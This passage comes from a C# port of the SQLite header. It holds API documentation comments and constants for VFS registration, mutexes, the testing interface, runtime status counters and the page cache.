routine results in undefined and probably undesirable behavior.\n    **\n    ** See also: [sqlite3_blob_read()].\n    **\n    ** Requirements:\n    ** [H17873] [H17874] [H17875] [H17876] [H17877] [H17879] [H17882] [H17885]\n    ** [H17888]\n    */\n    //SQLITE_API int sqlite3_blob_write(sqlite3_blob *, const void *z, int n, int iOffset);\n\n    /*\n    ** CAPI3REF: Virtual File System Objects {H11200} <S20100>\n    **\n    ** A virtual filesystem (VFS) is an [sqlite3_vfs] object\n    ** that SQLite uses to interact\n    ** with the underlying operating system.  Most SQLite builds come with a\n    ** single default VFS that is appropriate for the host computer.\n    ** New VFSes can be registered and existing VFSes can be unregistered.\n    ** The following interfaces are provided.\n    **\n    ** The sqlite3_vfs_find() interface returns a pointer to a VFS given its name.\n    ** Names are case sensitive.\n    ** Names are zero-terminated UTF-8 strings.\n    ** If there is no match, a NULL pointer is returned.\n    ** If zVfsName is NULL then the default VFS is returned.\n    **\n    ** New VFSes are registered with sqlite3_vfs_register().\n    ** Each new VFS becomes the default VFS if the makeDflt flag is set.\n    ** The same VFS can be registered multiple times without injury.\n    ** To make an existing VFS into the default VFS, register it again\n    ** with the makeDflt flag set.  If two different VFSes with the\n    ** same name are registered, the behavior is undefined.  If a\n    ** VFS is registered with a name that is NULL or an empty string,\n    ** then the behavior is undefined.\n    **\n    ** Unregister a VFS with the sqlite3_vfs_unregister() interface.\n    ** If the default VFS is unregistered, another VFS is chosen as\n    ** the default.  The choice for the new VFS is arbitrary.\n    **\n    ** Requirements:\n    ** [H11203] [H11206] [H11209] [H11212] [H11215] [H11218]\n    */\n    //SQLITE_API sqlite3_vfs *sqlite3_vfs_find(const char *zVfsName);\n    //SQLITE_API int sqlite3_vfs_register(sqlite3_vfs*, int makeDflt);\n    //SQLITE_API int sqlite3_vfs_unregister(sqlite3_vfs*);\n\n    /*\n    ** CAPI3REF: Mutexes {H17000} <S20000>\n    **\n    ** The SQLite core uses these routines for thread\n    ** synchronization. Though they are intended for internal\n    ** use by SQLite, code that links against SQLite is\n    ** permitted to use any of these routines.\n    **\n    ** The SQLite source code contains multiple implementations\n    ** of these mutex routines.  An appropriate implementation\n    ** is selected automatically at compile-time.  The following\n    ** implementations are available in the SQLite core:\n    **\n    ** <ul>\n    ** <li>   SQLITE_MUTEX_OS2\n    ** <li>   SQLITE_MUTEX_PTHREAD\n    ** <li>   SQLITE_MUTEX_W32\n    ** <li>   SQLITE_MUTEX_NOOP\n    ** </ul>\n    **\n    ** The SQLITE_MUTEX_NOOP implementation is a set of routines\n    ** that does no real locking and is appropriate for use in\n    ** a single-threaded application.  The SQLITE_MUTEX_OS2,\n    ** SQLITE_MUTEX_PTHREAD, and SQLITE_MUTEX_W32 implementations\n    ** are appropriate for use on OS/2, Unix, and Windows.\n    **\n    ** If SQLite is compiled with the SQLITE_MUTEX_APPDEF preprocessor\n    ** macro defined (with \"-DSQLITE_MUTEX_APPDEF=1\"), then no mutex\n    ** implementation is included with the library. In this case the\n    ** application must supply a custom mutex implementation using the\n    ** [SQLITE_CONFIG_MUTEX] option of the sqlite3_config() function\n    ** before calling sqlite3_initialize() or any other public sqlite3_\n    ** function that calls sqlite3_initialize().\n    **\n    ** {H17011} The sqlite3_mutex_alloc() routine allocates a new\n    ** mutex and returns a pointer to it. {H17012} If it returns NULL\n    ** that means that a mutex could not be allocated. {H17013} SQLite\n    ** will unwind its stack and return an error. {H17014} The argument\n    ** to sqlite3_mutex_alloc() is one of these integer constants:\n    **\n    ** <ul>\n    ** <li>  SQLITE_MUTEX_FAST\n    ** <li>  SQLITE_MUTEX_RECURSIVE\n    ** <li>  SQLITE_MUTEX_STATIC_MASTER\n    ** <li>  SQLITE_MUTEX_STATIC_MEM\n    ** <li>  SQLITE_MUTEX_STATIC_MEM2\n    ** <li>  SQLITE_MUTEX_STATIC_PRNG\n    ** <li>  SQLITE_MUTEX_STATIC_LRU\n    ** <li>  SQLITE_MUTEX_STATIC_LRU2\n    ** </ul>\n    **\n    ** {H17015} The first two constants cause sqlite3_mutex_alloc() to create\n    ** a new mutex.  The new mutex is recursive when SQLITE_MUTEX_RECURSIVE\n    ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. {END}\n    ** The mutex implementation does not need to make a distinction\n    ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does\n    ** not want to.  {H17016} But SQLite will only request a recursive mutex in\n    ** cases where it really needs one.  {END} If a faster non-recursive mutex\n    ** implementation is available on the host platform, the mutex subsystem\n    ** might return such a mutex in response to SQLITE_MUTEX_FAST.\n    **\n    ** {H17017} The other allowed parameters to sqlite3_mutex_alloc() each return\n    ** a pointer to a static preexisting mutex. {END}  Four static mutexes are\n    ** used by the current version of SQLite.  Future versions of SQLite\n    ** may add additional static mutexes.  Static mutexes are for internal\n    ** use by SQLite only.  Applications that use SQLite mutexes should\n    ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or\n    ** SQLITE_MUTEX_RECURSIVE.\n    **\n    ** {H17018} Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST\n    ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc()\n    ** returns a different mutex on every call.  {H17034} But for the static\n    ** mutex types, the same mutex is returned on every call that has\n    ** the same type number.\n    **\n    ** {H17019} The sqlite3_mutex_free() routine deallocates a previously\n    ** allocated dynamic mutex. {H17020} SQLite is careful to deallocate every\n    ** dynamic mutex that it allocates. {A17021} The dynamic mutexes must not be in\n    ** use when they are deallocated. {A17022} Attempting to deallocate a static\n    ** mutex results in undefined behavior. {H17023} SQLite never deallocates\n    ** a static mutex. {END}\n    **\n    ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt\n    ** to enter a mutex. {H17024} If another thread is already within the mutex,\n    ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return\n    ** SQLITE_BUSY. {H17025}  The sqlite3_mutex_try() interface returns [SQLITE_OK]\n    ** upon successful entry.  {H17026} Mutexes created using\n    ** SQLITE_MUTEX_RECURSIVE can be entered multiple times by the same thread.\n    ** {H17027} In such cases the,\n    ** mutex must be exited an equal number of times before another thread\n    ** can enter.  {A17028} If the same thread tries to enter any other\n    ** kind of mutex more than once, the behavior is undefined.\n    ** {H17029} SQLite will never exhibit\n    ** such behavior in its own use of mutexes.\n    **\n    ** Some systems (for example, Windows 95) do not support the operation\n    ** implemented by sqlite3_mutex_try().  On those systems, sqlite3_mutex_try()\n    ** will always return SQLITE_BUSY.  {H17030} The SQLite core only ever uses\n    ** sqlite3_mutex_try() as an optimization so this is acceptable behavior.\n    **\n    ** {H17031} The sqlite3_mutex_leave() routine exits a mutex that was\n    ** previously entered by the same thread.  {A17032} The behavior\n    ** is undefined if the mutex is not currently entered by the\n    ** calling thread or is not currently allocated.  {H17033} SQLite will\n    ** never do either. {END}\n    **\n    ** If the argument to sqlite3_mutex_enter(), sqlite3_mutex_try(), or\n    ** sqlite3_mutex_leave() is a NULL pointer, then all three routines\n    ** behave as no-ops.\n    **\n    ** See also: [sqlite3_mutex_held()] and [sqlite3_mutex_notheld()].\n    */\n    //SQLITE_API sqlite3_mutex *sqlite3_mutex_alloc(int);\n    //SQLITE_API void sqlite3_mutex_free(sqlite3_mutex*);\n    //SQLITE_API void sqlite3_mutex_enter(sqlite3_mutex*);\n    //SQLITE_API int sqlite3_mutex_try(sqlite3_mutex*);\n    //SQLITE_API void sqlite3_mutex_leave(sqlite3_mutex*);\n\n    /*\n    ** CAPI3REF: Mutex Methods Object {H17120} <S20130>\n    ** EXPERIMENTAL\n    **\n    ** An instance of this structure defines the low-level routines\n    ** used to allocate and use mutexes.\n    **\n    ** Usually, the default mutex implementations provided by SQLite are\n    ** sufficient, however the user has the option of substituting a custom\n    ** implementation for specialized deployments or systems for which SQLite\n    ** does not provide a suitable implementation. In this case, the user\n    ** creates and populates an instance of this structure to pass\n    ** to sqlite3_config() along with the [SQLITE_CONFIG_MUTEX] option.\n    ** Additionally, an instance of this structure can be used as an\n    ** output variable when querying the system for the current mutex\n    ** implementation, using the [SQLITE_CONFIG_GETMUTEX] option.\n    **\n    ** The xMutexInit method defined by this structure is invoked as\n    ** part of system initialization by the sqlite3_initialize() function.\n    ** {H17001} The xMutexInit routine shall be called by SQLite once for each\n    ** effective call to [sqlite3_initialize()].\n    **\n    ** The xMutexEnd method defined by this structure is invoked as\n    ** part of system shutdown by the sqlite3_shutdown() function. The\n    ** implementation of this method is expected to release all outstanding\n    ** resources obtained by the mutex methods implementation, especially\n    ** those obtained by the xMutexInit method. {H17003} The xMutexEnd()\n    ** interface shall be invoked once for each call to [sqlite3_shutdown()].\n    **\n    ** The remaining seven methods defined by this structure (xMutexAlloc,\n    ** xMutexFree, xMutexEnter, xMutexTry, xMutexLeave, xMutexHeld and\n    ** xMutexNotheld) implement the following interfaces (respectively):\n    **\n    ** <ul>\n    **   <li>  [sqlite3_mutex_alloc()] </li>\n    **   <li>  [sqlite3_mutex_free()] </li>\n    **   <li>  [sqlite3_mutex_enter()] </li>\n    **   <li>  [sqlite3_mutex_try()] </li>\n    **   <li>  [sqlite3_mutex_leave()] </li>\n    **   <li>  [sqlite3_mutex_held()] </li>\n    **   <li>  [sqlite3_mutex_notheld()] </li>\n    ** </ul>\n    **\n    ** The only difference is that the public sqlite3_XXX functions enumerated\n    ** above silently ignore any invocations that pass a NULL pointer instead\n    ** of a valid mutex handle. The implementations of the methods defined\n    ** by this structure are not required to handle this case, the results\n    ** of passing a NULL pointer instead of a valid mutex handle are undefined\n    ** (i.e. it is acceptable to provide an implementation that segfaults if\n    ** it is passed a NULL pointer).\n    */\n    //typedef struct sqlite3_mutex_methods sqlite3_mutex_methods;\n    //struct sqlite3_mutex_methods {\n    //  int (*xMutexInit)(void);\n    //  int (*xMutexEnd)(void);\n    //  sqlite3_mutex *(*xMutexAlloc)(int);\n    //  void (*xMutexFree)(sqlite3_mutex *);\n    //  void (*xMutexEnter)(sqlite3_mutex *);\n    //  int (*xMutexTry)(sqlite3_mutex *);\n    //  void (*xMutexLeave)(sqlite3_mutex *);\n    //  int (*xMutexHeld)(sqlite3_mutex *);\n    //  int (*xMutexNotheld)(sqlite3_mutex *);\n    //};\n    public class sqlite3_mutex_methods\n    {\n      public dxMutexInit xMutexInit;\n      public dxMutexEnd xMutexEnd;\n      public dxMutexAlloc xMutexAlloc;\n      public dxMutexFree xMutexFree;\n      public dxMutexEnter xMutexEnter;\n      public dxMutexTry xMutexTry;\n      public dxMutexLeave xMutexLeave;\n      public dxMutexHeld xMutexHeld;\n      public dxMutexNotheld xMutexNotheld;\n      public sqlite3_mutex_methods(\n      dxMutexInit xMutexInit,\n      dxMutexEnd xMutexEnd,\n      dxMutexAlloc xMutexAlloc,\n      dxMutexFree xMutexFree,\n      dxMutexEnter xMutexEnter,\n      dxMutexTry xMutexTry,\n      dxMutexLeave xMutexLeave,\n      dxMutexHeld xMutexHeld,\n      dxMutexNotheld xMutexNotheld\n      )\n      {\n        this.xMutexInit = xMutexInit;\n        this.xMutexEnd = xMutexEnd;\n        this.xMutexAlloc = xMutexAlloc;\n        this.xMutexFree = xMutexFree;\n        this.xMutexEnter = xMutexEnter;\n        this.xMutexTry = xMutexTry;\n        this.xMutexLeave = xMutexLeave;\n        this.xMutexHeld = xMutexHeld;\n        this.xMutexNotheld = xMutexNotheld;\n      }\n    };\n\n    /*\n    ** CAPI3REF: Mutex Verification Routines {H17080} <S20130> <S30800>\n    **\n    ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routines\n    ** are intended for use inside assert() statements. {H17081} The SQLite core\n    ** never uses these routines except inside an assert() and applications\n    ** are advised to follow the lead of the core.  {H17082} The core only\n    ** provides implementations for these routines when it is compiled\n    ** with the SQLITE_DEBUG flag.  {A17087} External mutex implementations\n    ** are only required to provide these routines if SQLITE_DEBUG is\n    ** defined and if NDEBUG is not defined.\n    **\n    ** {H17083} These routines should return true if the mutex in their argument\n    ** is held or not held, respectively, by the calling thread.\n    **\n    ** {X17084} The implementation is not required to provided versions of these\n    ** routines that actually work. If the implementation does not provide working\n    ** versions of these routines, it should at least provide stubs that always\n    ** return true so that one does not get spurious assertion failures.\n    **\n    ** {H17085} If the argument to sqlite3_mutex_held() is a NULL pointer then\n    ** the routine should return 1.  {END} This seems counter-intuitive since\n    ** clearly the mutex cannot be held if it does not exist.  But the\n    ** the reason the mutex does not exist is because the build is not\n    ** using mutexes.  And we do not want the assert() containing the\n    ** call to sqlite3_mutex_held() to fail, so a non-zero return is\n    ** the appropriate thing to do.  {H17086} The sqlite3_mutex_notheld()\n    ** interface should also return 1 when given a NULL pointer.\n    */\n    //SQLITE_API int sqlite3_mutex_held(sqlite3_mutex*);\n    //SQLITE_API int sqlite3_mutex_notheld(sqlite3_mutex*);\n\n    /*\n    ** CAPI3REF: Mutex Types {H17001} <H17000>\n    **\n    ** The [sqlite3_mutex_alloc()] interface takes a single argument\n    ** which is one of these integer constants.\n    **\n    ** The set of static mutexes may change from one SQLite release to the\n    ** next.  Applications that override the built-in mutex logic must be\n    ** prepared to accommodate additional static mutexes.\n    */\n    //#define SQLITE_MUTEX_FAST             0\n    //#define SQLITE_MUTEX_RECURSIVE        1\n    //#define SQLITE_MUTEX_STATIC_MASTER    2\n    //#define SQLITE_MUTEX_STATIC_MEM       3  /* sqlite3_malloc() */\n    //#define SQLITE_MUTEX_STATIC_MEM2      4  /* NOT USED */\n    //#define SQLITE_MUTEX_STATIC_OPEN      4  /* sqlite3BtreeOpen() */\n    //#define SQLITE_MUTEX_STATIC_PRNG      5  /* sqlite3_random() */\n    //#define SQLITE_MUTEX_STATIC_LRU       6  /* lru page list */\n    //#define SQLITE_MUTEX_STATIC_LRU2      7  /* lru page list */\n    const int SQLITE_MUTEX_FAST = 0;\n    const int SQLITE_MUTEX_RECURSIVE = 1;\n    const int SQLITE_MUTEX_STATIC_MASTER = 2;\n    const int SQLITE_MUTEX_STATIC_MEM = 3;\n    const int SQLITE_MUTEX_STATIC_OPEN = 4;\n    const int SQLITE_MUTEX_STATIC_PRNG = 5;\n    const int SQLITE_MUTEX_STATIC_LRU = 6;\n    const int SQLITE_MUTEX_STATIC_LRU2 = 7;\n\n    /*\n    ** CAPI3REF: Retrieve the mutex for a database connection {H17002} <H17000>\n    **\n    ** This interface returns a pointer the [sqlite3_mutex] object that \n    ** serializes access to the [database connection] given in the argument\n    ** when the [threading mode] is Serialized.\n    ** If the [threading mode] is Single-thread or Multi-thread then this\n    ** routine returns a NULL pointer.\n    */\n    //SQLITE_API sqlite3_mutex *sqlite3_db_mutex(sqlite3*);\n\n    /*\n    ** CAPI3REF: Low-Level Control Of Database Files {H11300} <S30800>\n    **\n    ** {H11301} The [sqlite3_file_control()] interface makes a direct call to the\n    ** xFileControl method for the [sqlite3_io_methods] object associated\n    ** with a particular database identified by the second argument. {H11302} The\n    ** name of the database is the name assigned to the database by the\n    ** <a href=\"lang_attach.html\">ATTACH</a> SQL command that opened the\n    ** database. {H11303} To control the main database file, use the name \"main\"\n    ** or a NULL pointer. {H11304} The third and fourth parameters to this routine\n    ** are passed directly through to the second and third parameters of\n    ** the xFileControl method.  {H11305} The return value of the xFileControl\n    ** method becomes the return value of this routine.\n    **\n    ** {H11306} If the second parameter (zDbName) does not match the name of any\n    ** open database file, then SQLITE_ERROR is returned. {H11307} This error\n    ** code is not remembered and will not be recalled by [sqlite3_errcode()]\n    ** or [sqlite3_errmsg()]. {A11308} The underlying xFileControl method might\n    ** also return SQLITE_ERROR.  {A11309} There is no way to distinguish between\n    ** an incorrect zDbName and an SQLITE_ERROR return from the underlying\n    ** xFileControl method. {END}\n    **\n    ** See also: [SQLITE_FCNTL_LOCKSTATE]\n    */\n    //SQLITE_API int sqlite3_file_control(sqlite3*, const char *zDbName, int op, void*);\n\n    /*\n    ** CAPI3REF: Testing Interface {H11400} <S30800>\n    **\n    ** The sqlite3_test_control() interface is used to read out internal\n    ** state of SQLite and to inject faults into SQLite for testing\n    ** purposes.  The first parameter is an operation code that determines\n    ** the number, meaning, and operation of all subsequent parameters.\n    **\n    ** This interface is not for use by applications.  It exists solely\n    ** for verifying the correct operation of the SQLite library.  Depending\n    ** on how the SQLite library is compiled, this interface might not exist.\n    **\n    ** The details of the operation codes, their meanings, the parameters\n    ** they take, and what they do are all subject to change without notice.\n    ** Unlike most of the SQLite API, this function is not guaranteed to\n    ** operate consistently from one release to the next.\n    */\n    //SQLITE_API int sqlite3_test_control(int op, ...);\n\n    /*\n    ** CAPI3REF: Testing Interface Operation Codes {H11410} <H11400>\n    **\n    ** These constants are the valid operation code parameters used\n    ** as the first argument to [sqlite3_test_control()].\n    **\n    ** These parameters and their meanings are subject to change\n    ** without notice.  These values are for testing purposes only.\n    ** Applications should not use any of these parameters or the\n    ** [sqlite3_test_control()] interface.\n    */\n    //#define SQLITE_TESTCTRL_PRNG_SAVE                5\n    //#define SQLITE_TESTCTRL_PRNG_RESTORE             6\n    //#define SQLITE_TESTCTRL_PRNG_RESET               7\n    //#define SQLITE_TESTCTRL_BITVEC_TEST              8\n    //#define SQLITE_TESTCTRL_FAULT_INSTALL            9\n    //#define SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS     10\n    //#define SQLITE_TESTCTRL_PENDING_BYTE            11\n    //#define SQLITE_TESTCTRL_ASSERT                  12\n    //#define SQLITE_TESTCTRL_ALWAYS                  13\n    //#define SQLITE_TESTCTRL_RESERVE                 14\n    const int SQLITE_TESTCTRL_PRNG_SAVE = 5;\n    const int SQLITE_TESTCTRL_PRNG_RESTORE = 6;\n    const int SQLITE_TESTCTRL_PRNG_RESET = 7;\n    const int SQLITE_TESTCTRL_BITVEC_TEST = 8;\n    const int SQLITE_TESTCTRL_FAULT_INSTALL = 9;\n    const int SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS = 10;\n    const int SQLITE_TESTCTRL_PENDING_BYTE = 11;\n    const int SQLITE_TESTCTRL_ASSERT = 12;\n    const int SQLITE_TESTCTRL_ALWAYS = 13;\n    const int SQLITE_TESTCTRL_RESERVE = 14;\n\n    /*\n    ** CAPI3REF: SQLite Runtime Status {H17200} <S60200>\n    ** EXPERIMENTAL\n    **\n    ** This interface is used to retrieve runtime status information\n    ** about the preformance of SQLite, and optionally to reset various\n    ** highwater marks.  The first argument is an integer code for\n    ** the specific parameter to measure.  Recognized integer codes\n    ** are of the form [SQLITE_STATUS_MEMORY_USED | SQLITE_STATUS_...].\n    ** The current value of the parameter is returned into *pCurrent.\n    ** The highest recorded value is returned in *pHighwater.  If the\n    ** resetFlag is true, then the highest record value is reset after\n    ** *pHighwater is written. Some parameters do not record the highest\n    ** value.  For those parameters\n    ** nothing is written into *pHighwater and the resetFlag is ignored.\n    ** Other parameters record only the highwater mark and not the current\n    ** value.  For these latter parameters nothing is written into *pCurrent.\n    **\n    ** This routine returns SQLITE_OK on success and a non-zero\n    ** [error code] on failure.\n    **\n    ** This routine is threadsafe but is not atomic.  This routine can\n    ** called while other threads are running the same or different SQLite\n    ** interfaces.  However the values returned in *pCurrent and\n    ** *pHighwater reflect the status of SQLite at different points in time\n    ** and it is possible that another thread might change the parameter\n    ** in between the times when *pCurrent and *pHighwater are written.\n    **\n    ** See also: [sqlite3_db_status()]\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_status(int op, int *pCurrent, int *pHighwater, int resetFlag);\n\n\n    /*\n    ** CAPI3REF: Status Parameters {H17250} <H17200>\n    ** EXPERIMENTAL\n    **\n    ** These integer constants designate various run-time status parameters\n    ** that can be returned by [sqlite3_status()].\n    **\n    ** <dl>\n    ** <dt>SQLITE_STATUS_MEMORY_USED</dt>\n    ** <dd>This parameter is the current amount of memory checked out\n    ** using [sqlite3_malloc()], either directly or indirectly.  The\n    ** figure includes calls made to [sqlite3_malloc()] by the application\n    ** and internal memory usage by the SQLite library.  Scratch memory\n    ** controlled by [SQLITE_CONFIG_SCRATCH] and auxiliary page-cache\n    ** memory controlled by [SQLITE_CONFIG_PAGECACHE] is not included in\n    ** this parameter.  The amount returned is the sum of the allocation\n    ** sizes as reported by the xSize method in [sqlite3_mem_methods].</dd>\n    **\n    ** <dt>SQLITE_STATUS_MALLOC_SIZE</dt>\n    ** <dd>This parameter records the largest memory allocation request\n    ** handed to [sqlite3_malloc()] or [sqlite3_realloc()] (or their\n    ** internal equivalents).  Only the value returned in the\n    ** *pHighwater parameter to [sqlite3_status()] is of interest.  \n    ** The value written into the *pCurrent parameter is undefined.</dd>\n    **\n    ** <dt>SQLITE_STATUS_PAGECACHE_USED</dt>\n    ** <dd>This parameter returns the number of pages used out of the\n    ** [pagecache memory allocator] that was configured using \n    ** [SQLITE_CONFIG_PAGECACHE].  The\n    ** value returned is in pages, not in bytes.</dd>\n    **\n    ** <dt>SQLITE_STATUS_PAGECACHE_OVERFLOW</dt>\n    ** <dd>This parameter returns the number of bytes of page cache\n    ** allocation which could not be statisfied by the [SQLITE_CONFIG_PAGECACHE]\n    ** buffer and where forced to overflow to [sqlite3_malloc()].  The\n    ** returned value includes allocations that overflowed because they\n    ** where too large (they were larger than the \"sz\" parameter to\n    ** [SQLITE_CONFIG_PAGECACHE]) and allocations that overflowed because\n    ** no space was left in the page cache.</dd>\n    **\n    ** <dt>SQLITE_STATUS_PAGECACHE_SIZE</dt>\n    ** <dd>This parameter records the largest memory allocation request\n    ** handed to [pagecache memory allocator].  Only the value returned in the\n    ** *pHighwater parameter to [sqlite3_status()] is of interest.  \n    ** The value written into the *pCurrent parameter is undefined.</dd>\n    **\n    ** <dt>SQLITE_STATUS_SCRATCH_USED</dt>\n    ** <dd>This parameter returns the number of allocations used out of the\n    ** [scratch memory allocator] configured using\n    ** [SQLITE_CONFIG_SCRATCH].  The value returned is in allocations, not\n    ** in bytes.  Since a single thread may only have one scratch allocation\n    ** outstanding at time, this parameter also reports the number of threads\n    ** using scratch memory at the same time.</dd>\n    **\n    ** <dt>SQLITE_STATUS_SCRATCH_OVERFLOW</dt>\n    ** <dd>This parameter returns the number of bytes of scratch memory\n    ** allocation which could not be statisfied by the [SQLITE_CONFIG_SCRATCH]\n    ** buffer and where forced to overflow to [sqlite3_malloc()].  The values\n    ** returned include overflows because the requested allocation was too\n    ** larger (that is, because the requested allocation was larger than the\n    ** \"sz\" parameter to [SQLITE_CONFIG_SCRATCH]) and because no scratch buffer\n    ** slots were available.\n    ** </dd>\n    **\n    ** <dt>SQLITE_STATUS_SCRATCH_SIZE</dt>\n    ** <dd>This parameter records the largest memory allocation request\n    ** handed to [scratch memory allocator].  Only the value returned in the\n    ** *pHighwater parameter to [sqlite3_status()] is of interest.  \n    ** The value written into the *pCurrent parameter is undefined.</dd>\n    **\n    ** <dt>SQLITE_STATUS_PARSER_STACK</dt>\n    ** <dd>This parameter records the deepest parser stack.  It is only\n    ** meaningful if SQLite is compiled with [YYTRACKMAXSTACKDEPTH].</dd>\n    ** </dl>\n    **\n    ** New status parameters may be added from time to time.\n    */\n    //#define SQLITE_STATUS_MEMORY_USED          0\n    //#define SQLITE_STATUS_PAGECACHE_USED       1\n    //#define SQLITE_STATUS_PAGECACHE_OVERFLOW   2\n    //#define SQLITE_STATUS_SCRATCH_USED         3\n    //#define SQLITE_STATUS_SCRATCH_OVERFLOW     4\n    //#define SQLITE_STATUS_MALLOC_SIZE          5\n    //#define SQLITE_STATUS_PARSER_STACK         6\n    //#define SQLITE_STATUS_PAGECACHE_SIZE       7\n    //#define SQLITE_STATUS_SCRATCH_SIZE         8\n    const int SQLITE_STATUS_MEMORY_USED = 0;\n    const int SQLITE_STATUS_PAGECACHE_USED = 1;\n    const int SQLITE_STATUS_PAGECACHE_OVERFLOW = 2;\n    const int SQLITE_STATUS_SCRATCH_USED = 3;\n    const int SQLITE_STATUS_SCRATCH_OVERFLOW = 4;\n    const int SQLITE_STATUS_MALLOC_SIZE = 5;\n    const int SQLITE_STATUS_PARSER_STACK = 6;\n    const int SQLITE_STATUS_PAGECACHE_SIZE = 7;\n    const int SQLITE_STATUS_SCRATCH_SIZE = 8;\n\n    /*\n    ** CAPI3REF: Database Connection Status {H17500} <S60200>\n    ** EXPERIMENTAL\n    **\n    ** This interface is used to retrieve runtime status information \n    ** about a single [database connection].  The first argument is the\n    ** database connection object to be interrogated.  The second argument\n    ** is the parameter to interrogate.  Currently, the only allowed value\n    ** for the second parameter is [SQLITE_DBSTATUS_LOOKASIDE_USED].\n    ** Additional options will likely appear in future releases of SQLite.\n    **\n    ** The current value of the requested parameter is written into *pCur\n    ** and the highest instantaneous value is written into *pHiwtr.  If\n    ** the resetFlg is true, then the highest instantaneous value is\n    ** reset back down to the current value.\n    **\n    ** See also: [sqlite3_status()] and [sqlite3_stmt_status()].\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int resetFlg);\n\n    /*\n    ** CAPI3REF: Status Parameters for database connections {H17520} <H17500>\n    ** EXPERIMENTAL\n    **\n    ** Status verbs for [sqlite3_db_status()].\n    **\n    ** <dl>\n    ** <dt>SQLITE_DBSTATUS_LOOKASIDE_USED</dt>\n    ** <dd>This parameter returns the number of lookaside memory slots currently\n    ** checked out.</dd>\n    ** </dl>\n    */\n    //#define SQLITE_DBSTATUS_LOOKASIDE_USED     0\n    const int SQLITE_DBSTATUS_LOOKASIDE_USED = 0;\n\n    /*\n    ** CAPI3REF: Prepared Statement Status {H17550} <S60200>\n    ** EXPERIMENTAL\n    **\n    ** Each prepared statement maintains various\n    ** [SQLITE_STMTSTATUS_SORT | counters] that measure the number\n    ** of times it has performed specific operations.  These counters can\n    ** be used to monitor the performance characteristics of the prepared\n    ** statements.  For example, if the number of table steps greatly exceeds\n    ** the number of table searches or result rows, that would tend to indicate\n    ** that the prepared statement is using a full table scan rather than\n    ** an index.  \n    **\n    ** This interface is used to retrieve and reset counter values from\n    ** a [prepared statement].  The first argument is the prepared statement\n    ** object to be interrogated.  The second argument\n    ** is an integer code for a specific [SQLITE_STMTSTATUS_SORT | counter]\n    ** to be interrogated. \n    ** The current value of the requested counter is returned.\n    ** If the resetFlg is true, then the counter is reset to zero after this\n    ** interface call returns.\n    **\n    ** See also: [sqlite3_status()] and [sqlite3_db_status()].\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg);\n\n    /*\n    ** CAPI3REF: Status Parameters for prepared statements {H17570} <H17550>\n    ** EXPERIMENTAL\n    **\n    ** These preprocessor macros define integer codes that name counter\n    ** values associated with the [sqlite3_stmt_status()] interface.\n    ** The meanings of the various counters are as follows:\n    **\n    ** <dl>\n    ** <dt>SQLITE_STMTSTATUS_FULLSCAN_STEP</dt>\n    ** <dd>This is the number of times that SQLite has stepped forward in\n    ** a table as part of a full table scan.  Large numbers for this counter\n    ** may indicate opportunities for performance improvement through \n    ** careful use of indices.</dd>\n    **\n    ** <dt>SQLITE_STMTSTATUS_SORT</dt>\n    ** <dd>This is the number of sort operations that have occurred.\n    ** A non-zero value in this counter may indicate an opportunity to\n    ** improvement performance through careful use of indices.</dd>\n    **\n    ** </dl>\n    */\n    //#define SQLITE_STMTSTATUS_FULLSCAN_STEP     1\n    //#define SQLITE_STMTSTATUS_SORT              2\n    const int SQLITE_STMTSTATUS_FULLSCAN_STEP = 1;\n    const int SQLITE_STMTSTATUS_SORT = 2;\n\n    /*\n    ** CAPI3REF: Custom Page Cache Object\n    ** EXPERIMENTAL\n    **\n    ** The sqlite3_pcache type is opaque.  It is implemented by\n    ** the pluggable module.  The SQLite core has no knowledge of\n    ** its size or internal structure and never deals with the\n    ** sqlite3_pcache object except by holding and passing pointers\n    ** to the object.\n    **\n    ** See [sqlite3_pcache_methods] for additional information.\n    */\n    //typedef struct sqlite3_pcache sqlite3_pcache;\n\n    /*\n    ** CAPI3REF: Application Defined Page Cache.\n    ** EXPERIMENTAL\n    **\n    ** The [sqlite3_config]([SQLITE_CONFIG_PCACHE], ...) interface can\n    ** register an alternative page cache implementation by passing in an \n    ** instance of the sqlite3_pcache_methods structure. The majority of the \n    ** heap memory used by sqlite is used by the page cache to cache data read \n    ** from, or ready to be written to, the database file. By implementing a \n    ** custom page cache using this API, an application can control more \n    ** precisely the amount of memory consumed by sqlite, the way in which \n    ** said memory is allocated and released, and the policies used to \n    ** determine exactly which parts of a database file are cached and for \n    ** how long.\n    **\n    ** The contents of the structure are copied to an internal buffer by sqlite\n    ** within the call to [sqlite3_config].\n    **\n    ** The xInit() method is called once for each call to [sqlite3_initialize()]\n    ** (usually only once during the lifetime of the process). It is passed\n    ** a copy of the sqlite3_pcache_methods.pArg value. It can be used to set\n    ** up global structures and mutexes required by the custom page cache \n    ** implementation. The xShutdown() method is called from within \n    ** [sqlite3_shutdown()], if the application invokes this API. It can be used\n    ** to clean up any outstanding resources before process shutdown, if required.\n    **\n    ** The xCreate() method is used to construct a new cache instance. The\n    ** first parameter, szPage, is the size in bytes of the pages that must\n    ** be allocated by the cache. szPage will not be a power of two. The\n    ** second argument, bPurgeable, is true if the cache being created will\n    ** be used to cache database pages read from a file stored on disk, or\n    ** false if it is used for an in-memory database. The cache implementation\n    ** does not have to do anything special based on the value of bPurgeable,\n    ** it is purely advisory. \n    **\n    ** The xCachesize() method may be called at any time by SQLite to set the\n    ** suggested maximum cache-size (number of pages stored by) the cache\n    ** instance passed as the first argument. This is the value configured using\n    ** the SQLite \"[PRAGMA cache_size]\" command. As with the bPurgeable parameter,\n    ** the implementation is not required to do anything special with this\n    ** value, it is advisory only.\n    **\n    ** The xPagecount() method should return the number of pages currently\n    ** stored in the cache supplied as an argument.\n    ** \n    ** The xFetch() method is used to fetch a page and return a pointer to it. \n    ** A 'page', 